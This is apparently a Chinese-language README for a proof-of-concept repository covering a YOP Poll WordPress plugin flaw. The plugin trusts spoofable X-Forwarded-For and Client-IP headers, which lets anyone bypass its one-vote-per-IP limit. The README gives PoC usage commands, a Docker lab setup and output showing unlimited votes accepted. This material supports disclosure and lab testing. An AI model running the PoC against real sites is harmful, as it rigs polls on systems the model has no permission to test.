作者: nullwhisper
用途: 仅限授权的安全研究 / 漏洞验证。
YOP Poll 插件 7.0.6 之前的版本强制实施每个 IP 只能投一票的限制。问题在于,为了获取客户端 IP,它会先检查 HTTP_CLIENT_IP 和 HTTP_X_FORWARDED_FOR,然后才检查 REMOTE_ADDR。这两个头都由攻击者控制,因此未认证用户可以在每次请求时伪造一个新 IP,从而投出无限数量的票。
.
├── cve_2026_14840_poc.py # 主 PoC
├── lab/
│ ├── docker-compose.yml # WordPress 实验环境
│ └── setup.php # 创建投票 + 公开测试页面
├── requirements.txt
└── README.md
pip3 install -r requirements.txt
python3 cve_2026_14840_poc.py -u https://target.com/page-with-poll -n 10
-n 是要投出的票数。如果接受的票数超过一票,则目标存在漏洞。
当站点使用 WordPress 固定链接(plain permalinks)且 /wp-json/... 返回 HTML 时,脚本会自动回退到 ?rest_route=/yop-poll/v1/votes。
下载存在漏洞的插件(请勿重新分发插件二进制文件):
mkdir -p lab/yop-poll
cd lab/yop-poll
wget https://downloads.wordpress.org/plugin/yop-poll.7.0.5.zip
unzip yop-poll.7.0.5.zip && rm yop-poll.7.0.5.zip
cd ../..
启动实验环境:
cd lab
docker compose up -d
在 http://127.0.0.1:8090 完成 WordPress 安装程序。
创建投票和测试页面:
docker exec -i lab-wpcli-1 php /tmp/setup.php
运行 PoC:
python3 cve_2026_14840_poc.py -u 'http://127.0.0.1:8090/?page_id=4' -n 5
已在 WordPress 6.8 + YOP Poll 7.0.5(使用默认的 plain 固定链接)上测试。
同一 IP 三次 —— 限制生效:
#1 201 -> Vote recorded successfully.
#2 403 -> You have already voted on this poll.
#3 403 -> You have already voted on this poll.
每次请求通过 X-Forwarded-For 使用不同 IP —— 绕过生效:
#1 201 -> Vote recorded successfully.
#2 201 -> Vote recorded successfully.
#3 201 -> Vote recorded successfully.
wp_yoppoll_votes 表会为每个伪造的 IP 增加一行,证实了每 IP 限制已被绕过。
此仓库仅包含 PoC 和实验环境的编排文件。YOP Poll 插件采用 GPL-2.0+ 许可,但分发完整副本并无必要,会使仓库臃肿,并可能导致问题。请从 WordPress.org 下载 7.0.5 版本用于您自己的实验环境。
此工具仅限授权的安全测试和研究使用。请勿将其用于您不拥有或未经明确许可测试的系统。作者不对因使用此代码而造成的误用或损害负责。